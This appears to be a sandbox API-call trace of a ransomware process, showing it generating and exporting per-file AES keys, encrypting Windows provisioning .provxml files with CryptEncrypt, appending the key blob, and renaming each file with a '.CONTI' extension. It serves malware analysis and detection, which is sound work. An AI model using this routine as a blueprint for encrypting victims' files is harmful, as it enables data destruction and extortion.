	[0110.477] SetFilePointerEx (in: hFile=0x3d4, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0110.477] WriteFile (in: hFile=0x3d4, lpBuffer=0x17d61e4*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x55ffaec, lpOverlapped=0x0 | out: lpBuffer=0x17d61e4*, lpNumberOfBytesWritten=0x55ffaec*=0x20c, lpOverlapped=0x0) returned 1
	[0110.478] SetFilePointer (in: hFile=0x3d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0110.478] ReadFile (in: hFile=0x3d4, lpBuffer=0x102d0000, nNumberOfBytesToRead=0x2bd, lpNumberOfBytesRead=0x55ffb0c, lpOverlapped=0x0 | out: lpBuffer=0x102d0000*, lpNumberOfBytesRead=0x55ffb0c*=0x2bd, lpOverlapped=0x0) returned 1
	[0110.478] CryptEncrypt (in: hKey=0x17c7cb0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x102d0000*, pdwDataLen=0x55ffb04*=0x2bd, dwBufLen=0x500000 | out: pbData=0x102d0000*, pdwDataLen=0x55ffb04*=0x2c0) returned 1
	[0110.478] SetFilePointerEx (in: hFile=0x3d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0110.478] WriteFile (in: hFile=0x3d4, lpBuffer=0x102d0000*, nNumberOfBytesToWrite=0x2c0, lpNumberOfBytesWritten=0x55ffb20, lpOverlapped=0x0 | out: lpBuffer=0x102d0000*, lpNumberOfBytesWritten=0x55ffb20*=0x2c0, lpOverlapped=0x0) returned 1
	[0110.478] SetFilePointerEx (in: hFile=0x3d4, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0110.478] WriteFile (in: hFile=0x3d4, lpBuffer=0x17d61d8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x55ffb38, lpOverlapped=0x0 | out: lpBuffer=0x17d61d8*, lpNumberOfBytesWritten=0x55ffb38*=0x8, lpOverlapped=0x0) returned 1
	[0110.479] SetFilePointer (in: hFile=0x3d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0110.479] CloseHandle (hObject=0x3d4) returned 1
	[0110.479] GetProcessHeap () returned 0x1720000
	[0110.479] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x653b900
	[0110.705] lstrcpyW (in: lpString1=0x653b900, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\181__Connections_Cellular_CMHK (Hong Kong SAR)_i0$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\181__Connections_Cellular_CMHK (Hong Kong SAR)_i0$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\181__Connections_Cellular_CMHK (Hong Kong SAR)_i0$(__MVID)@WAP.provxml"
	[0110.705] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\181__Connections_Cellular_CMHK (Hong Kong SAR)_i0$(__MVID)@WAP.provxml", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\181__Connections_Cellular_CMHK (Hong Kong SAR)_i0$(__MVID)@WAP.provxml.CONTI") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\181__Connections_Cellular_CMHK (Hong Kong SAR)_i0$(__MVID)@WAP.provxml.CONTI"
	[0110.705] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\181__Connections_Cellular_CMHK (Hong Kong SAR)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\181__connections_cellular_cmhk (hong kong sar)_i0$(__mvid)@wap.provxml"), lpNewFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\181__Connections_Cellular_CMHK (Hong Kong SAR)_i0$(__MVID)@WAP.provxml.CONTI" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\181__connections_cellular_cmhk (hong kong sar)_i0$(__mvid)@wap.provxml.conti")) returned 1
	[0110.706] GetProcessHeap () returned 0x1720000
	[0110.706] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x653b900 | out: hHeap=0x1720000) returned 1
	[0110.706] CryptDestroyKey (hKey=0x17c7cb0) returned 1
	[0110.706] GetProcessHeap () returned 0x1720000
	[0110.706] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17d1670 | out: hHeap=0x1720000) returned 1
	[0110.706] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x55ffb5c, lpCompletionKey=0x55ffb60, lpOverlapped=0x55ffb6c, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x55ffb5c, lpCompletionKey=0x55ffb60, lpOverlapped=0x55ffb6c) returned 1
	[0110.706] CryptGenKey (in: hProv=0x176bf08, Algid=0x6610, dwFlags=0x1, phKey=0x65693b0 | out: phKey=0x65693b0*=0x17c7cb0) returned 1
	[0110.706] CryptExportKey (in: hKey=0x17c7cb0, hExpKey=0x175db70, dwBlobType=0x1, dwFlags=0x0, pbData=0x65693b4, pdwDataLen=0x55ffb34 | out: pbData=0x65693b4*, pdwDataLen=0x55ffb34*=0x20c) returned 1
	[0110.707] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\339__Connections_Cellular_vodafone P (Portugal)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\339__connections_cellular_vodafone p (portugal)_i0$(__mvid)@wap.provxml")) returned 0x20
	[0110.707] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\339__Connections_Cellular_vodafone P (Portugal)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\339__connections_cellular_vodafone p (portugal)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ac
	[0110.707] GetLastError () returned 0x0
	[0110.707] GetFileSizeEx (in: hFile=0x3ac, lpFileSize=0x55ffae0 | out: lpFileSize=0x55ffae0*=858) returned 1
	[0110.707] SetFilePointer (in: hFile=0x3ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x35a
	[0110.707] SetFilePointerEx (in: hFile=0x3ac, liDistanceToMove=0x22a, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0110.707] SetEndOfFile (hFile=0x3ac) returned 1
	[0110.707] SetFilePointer (in: hFile=0x3ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0110.707] SetFilePointerEx (in: hFile=0x3ac, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0110.707] WriteFile (in: hFile=0x3ac, lpBuffer=0x65693b4*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x55ffaec, lpOverlapped=0x0 | out: lpBuffer=0x65693b4*, lpNumberOfBytesWritten=0x55ffaec*=0x20c, lpOverlapped=0x0) returned 1
	[0110.710] SetFilePointer (in: hFile=0x3ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0110.710] ReadFile (in: hFile=0x3ac, lpBuffer=0x102d0000, nNumberOfBytesToRead=0x35a, lpNumberOfBytesRead=0x55ffb0c, lpOverlapped=0x0 | out: lpBuffer=0x102d0000*, lpNumberOfBytesRead=0x55ffb0c*=0x35a, lpOverlapped=0x0) returned 1
	[0110.710] CryptEncrypt (in: hKey=0x17c7cb0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x102d0000*, pdwDataLen=0x55ffb04*=0x35a, dwBufLen=0x500000 | out: pbData=0x102d0000*, pdwDataLen=0x55ffb04*=0x360) returned 1
	[0110.710] SetFilePointerEx (in: hFile=0x3ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0110.710] WriteFile (in: hFile=0x3ac, lpBuffer=0x102d0000*, nNumberOfBytesToWrite=0x360, lpNumberOfBytesWritten=0x55ffb20, lpOverlapped=0x0 | out: lpBuffer=0x102d0000*, lpNumberOfBytesWritten=0x55ffb20*=0x360, lpOverlapped=0x0) returned 1
	[0110.710] SetFilePointerEx (in: hFile=0x3ac, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0110.710] WriteFile (in: hFile=0x3ac, lpBuffer=0x65693a8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x55ffb38, lpOverlapped=0x0 | out: lpBuffer=0x65693a8*, lpNumberOfBytesWritten=0x55ffb38*=0x8, lpOverlapped=0x0) returned 1
	[0110.711] SetFilePointer (in: hFile=0x3ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0110.711] CloseHandle (hObject=0x3ac) returned 1
	[0110.711] GetProcessHeap () returned 0x1720000
	[0110.711] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x653b900
	[0110.711] lstrcpyW (in: lpString1=0x653b900, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\339__Connections_Cellular_vodafone P (Portugal)_i0$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\339__Connections_Cellular_vodafone P (Portugal)_i0$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\339__Connections_Cellular_vodafone P (Portugal)_i0$(__MVID)@WAP.provxml"
	[0110.711] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\339__Connections_Cellular_vodafone P (Portugal)_i0$(__MVID)@WAP.provxml", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\339__Connections_Cellular_vodafone P (Portugal)_i0$(__MVID)@WAP.provxml.CONTI") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\339__Connections_Cellular_vodafone P (Portugal)_i0$(__MVID)@WAP.provxml.CONTI"
	[0110.711] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\339__Connections_Cellular_vodafone P (Portugal)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\339__connections_cellular_vodafone p (portugal)_i0$(__mvid)@wap.provxml"), lpNewFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\339__Connections_Cellular_vodafone P (Portugal)_i0$(__MVID)@WAP.provxml.CONTI" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\339__connections_cellular_vodafone p (portugal)_i0$(__mvid)@wap.provxml.conti")) returned 1
	[0110.712] GetProcessHeap () returned 0x1720000
	[0110.712] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x653b900 | out: hHeap=0x1720000) returned 1
	[0110.712] CryptDestroyKey (hKey=0x17c7cb0) returned 1
	[0110.712] GetProcessHeap () returned 0x1720000
	[0110.712] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6561408 | out: hHeap=0x1720000) returned 1
	[0110.712] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x55ffb5c, lpCompletionKey=0x55ffb60, lpOverlapped=0x55ffb6c, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x55ffb5c, lpCompletionKey=0x55ffb60, lpOverlapped=0x55ffb6c) returned 1
	[0110.712] CryptGenKey (in: hProv=0x176bf08, Algid=0x6610, dwFlags=0x1, phKey=0x65683b8 | out: phKey=0x65683b8*=0x17c7cb0) returned 1
	[0110.712] CryptExportKey (in: hKey=0x17c7cb0, hExpKey=0x175db70, dwBlobType=0x1, dwFlags=0x0, pbData=0x65683bc, pdwDataLen=0x55ffb34 | out: pbData=0x65683bc*, pdwDataLen=0x55ffb34*=0x20c) returned 1
	[0110.713] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\33__Connections_Cellular_Azerfon (Azerbaijan)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\33__connections_cellular_azerfon (azerbaijan)_i0$(__mvid)@wap.provxml")) returned 0x20
	[0110.715] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\33__Connections_Cellular_Azerfon (Azerbaijan)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\33__connections_cellular_azerfon (azerbaijan)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ac
	[0110.715] GetLastError () returned 0x0
	[0110.715] GetFileSizeEx (in: hFile=0x3ac, lpFileSize=0x55ffae0 | out: lpFileSize=0x55ffae0*=707) returned 1
	[0110.715] SetFilePointer (in: hFile=0x3ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x2c3
	[0110.715] SetFilePointerEx (in: hFile=0x3ac, liDistanceToMove=0x231, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0110.715] SetEndOfFile (hFile=0x3ac) returned 1
	[0110.716] SetFilePointer (in: hFile=0x3ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0110.716] SetFilePointerEx (in: hFile=0x3ac, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0110.716] WriteFile (in: hFile=0x3ac, lpBuffer=0x65683bc*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x55ffaec, lpOverlapped=0x0 | out: lpBuffer=0x65683bc*, lpNumberOfBytesWritten=0x55ffaec*=0x20c, lpOverlapped=0x0) returned 1
	[0110.720] SetFilePointer (in: hFile=0x3ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0110.720] ReadFile (in: hFile=0x3ac, lpBuffer=0x102d0000, nNumberOfBytesToRead=0x2c3, lpNumberOfBytesRead=0x55ffb0c, lpOverlapped=0x0 | out: lpBuffer=0x102d0000*, lpNumberOfBytesRead=0x55ffb0c*=0x2c3, lpOverlapped=0x0) returned 1
	[0110.720] CryptEncrypt (in: hKey=0x17c7cb0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x102d0000*, pdwDataLen=0x55ffb04*=0x2c3, dwBufLen=0x500000 | out: pbData=0x102d0000*, pdwDataLen=0x55ffb04*=0x2d0) returned 1
	[0110.720] SetFilePointerEx (in: hFile=0x3ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0110.720] WriteFile (in: hFile=0x3ac, lpBuffer=0x102d0000*, nNumberOfBytesToWrite=0x2d0, lpNumberOfBytesWritten=0x55ffb20, lpOverlapped=0x0 | out: lpBuffer=0x102d0000*, lpNumberOfBytesWritten=0x55ffb20*=0x2d0, lpOverlapped=0x0) returned 1
	[0110.720] SetFilePointerEx (in: hFile=0x3ac, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0110.720] WriteFile (in: hFile=0x3ac, lpBuffer=0x65683b0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x55ffb38, lpOverlapped=0x0 | out: lpBuffer=0x65683b0*, lpNumberOfBytesWritten=0x55ffb38*=0x8, lpOverlapped=0x0) returned 1
	[0110.720] SetFilePointer (in: hFile=0x3ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0110.720] CloseHandle (hObject=0x3ac) returned 1
	[0110.720] GetProcessHeap () returned 0x1720000
	[0110.720] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x653b900
	[0110.720] lstrcpyW (in: lpString1=0x653b900, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\33__Connections_Cellular_Azerfon (Azerbaijan)_i0$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\33__Connections_Cellular_Azerfon (Azerbaijan)_i0$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\33__Connections_Cellular_Azerfon (Azerbaijan)_i0$(__MVID)@WAP.provxml"
	[0110.720] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\33__Connections_Cellular_Azerfon (Azerbaijan)_i0$(__MVID)@WAP.provxml", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\33__Connections_Cellular_Azerfon (Azerbaijan)_i0$(__MVID)@WAP.provxml.CONTI") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\33__Connections_Cellular_Azerfon (Azerbaijan)_i0$(__MVID)@WAP.provxml.CONTI"
	[0110.720] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\33__Connections_Cellular_Azerfon (Azerbaijan)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\33__connections_cellular_azerfon (azerbaijan)_i0$(__mvid)@wap.provxml"), lpNewFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\33__Connections_Cellular_Azerfon (Azerbaijan)_i0$(__MVID)@WAP.provxml.CONTI" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\33__connections_cellular_azerfon (azerbaijan)_i0$(__mvid)@wap.provxml.conti")) returned 1
	[0110.721] GetProcessHeap () returned 0x1720000
	[0110.721] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x653b900 | out: hHeap=0x1720000) returned 1
	[0110.721] CryptDestroyKey (hKey=0x17c7cb0) returned 1
	[0110.721] GetProcessHeap () returned 0x1720000
	[0110.721] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x65671f0 | out: hHeap=0x1720000) returned 1
	[0110.721] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x55ffb5c, lpCompletionKey=0x55ffb60, lpOverlapped=0x55ffb6c, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x55ffb5c, lpCompletionKey=0x55ffb60, lpOverlapped=0x55ffb6c) returned 1
	[0110.721] CryptGenKey (in: hProv=0x176bf08, Algid=0x6610, dwFlags=0x1, phKey=0x656bf08 | out: phKey=0x656bf08*=0x17c7ab0) returned 1
	[0110.721] CryptExportKey (in: hKey=0x17c7ab0, hExpKey=0x175db70, dwBlobType=0x1, dwFlags=0x0, pbData=0x656bf0c, pdwDataLen=0x55ffb34 | out: pbData=0x656bf0c*, pdwDataLen=0x55ffb34*=0x20c) returned 1
	[0110.722] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\341__Connections_Cellular_Claro (Puerto Rico)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\341__connections_cellular_claro (puerto rico)_i0$(__mvid)@wap.provxml")) returned 0x20
	[0110.722] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\341__Connections_Cellular_Claro (Puerto Rico)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\341__connections_cellular_claro (puerto rico)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ac
	[0110.722] GetLastError () returned 0x0
	[0110.722] GetFileSizeEx (in: hFile=0x3ac, lpFileSize=0x55ffae0 | out: lpFileSize=0x55ffae0*=643) returned 1
	[0110.722] SetFilePointer (in: hFile=0x3ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x283
	[0110.722] SetFilePointerEx (in: hFile=0x3ac, liDistanceToMove=0x231, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0110.722] SetEndOfFile (hFile=0x3ac) returned 1
	[0110.722] SetFilePointer (in: hFile=0x3ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0110.723] SetFilePointerEx (in: hFile=0x3ac, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0110.723] WriteFile (in: hFile=0x3ac, lpBuffer=0x656bf0c*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x55ffaec, lpOverlapped=0x0 | out: lpBuffer=0x656bf0c*, lpNumberOfBytesWritten=0x55ffaec*=0x20c, lpOverlapped=0x0) returned 1
	[0110.725] SetFilePointer (in: hFile=0x3ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0110.726] ReadFile (in: hFile=0x3ac, lpBuffer=0x102d0000, nNumberOfBytesToRead=0x283, lpNumberOfBytesRead=0x55ffb0c, lpOverlapped=0x0 | out: lpBuffer=0x102d0000*, lpNumberOfBytesRead=0x55ffb0c*=0x283, lpOverlapped=0x0) returned 1
	[0110.726] CryptEncrypt (in: hKey=0x17c7ab0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x102d0000*, pdwDataLen=0x55ffb04*=0x283, dwBufLen=0x500000 | out: pbData=0x102d0000*, pdwDataLen=0x55ffb04*=0x290) returned 1
	[0110.726] SetFilePointerEx (in: hFile=0x3ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0110.726] WriteFile (in: hFile=0x3ac, lpBuffer=0x102d0000*, nNumberOfBytesToWrite=0x290, lpNumberOfBytesWritten=0x55ffb20, lpOverlapped=0x0 | out: lpBuffer=0x102d0000*, lpNumberOfBytesWritten=0x55ffb20*=0x290, lpOverlapped=0x0) returned 1
	[0110.726] SetFilePointerEx (in: hFile=0x3ac, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0110.726] WriteFile (in: hFile=0x3ac, lpBuffer=0x656bf00*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x55ffb38, lpOverlapped=0x0 | out: lpBuffer=0x656bf00*, lpNumberOfBytesWritten=0x55ffb38*=0x8, lpOverlapped=0x0) returned 1
	[0110.726] SetFilePointer (in: hFile=0x3ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0110.726] CloseHandle (hObject=0x3ac) returned 1
	[0110.726] GetProcessHeap () returned 0x1720000
	[0110.726] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x653b900
	[0110.726] lstrcpyW (in: lpString1=0x653b900, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\341__Connections_Cellular_Claro (Puerto Rico)_i0$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\341__Connections_Cellular_Claro (Puerto Rico)_i0$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\341__Connections_Cellular_Claro (Puerto Rico)_i0$(__MVID)@WAP.provxml"
	[0110.726] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\341__Connections_Cellular_Claro (Puerto Rico)_i0$(__MVID)@WAP.provxml", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\341__Connections_Cellular_Claro (Puerto Rico)_i0$(__MVID)@WAP.provxml.CONTI") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\341__Connections_Cellular_Claro (Puerto Rico)_i0$(__MVID)@WAP.provxml.CONTI"
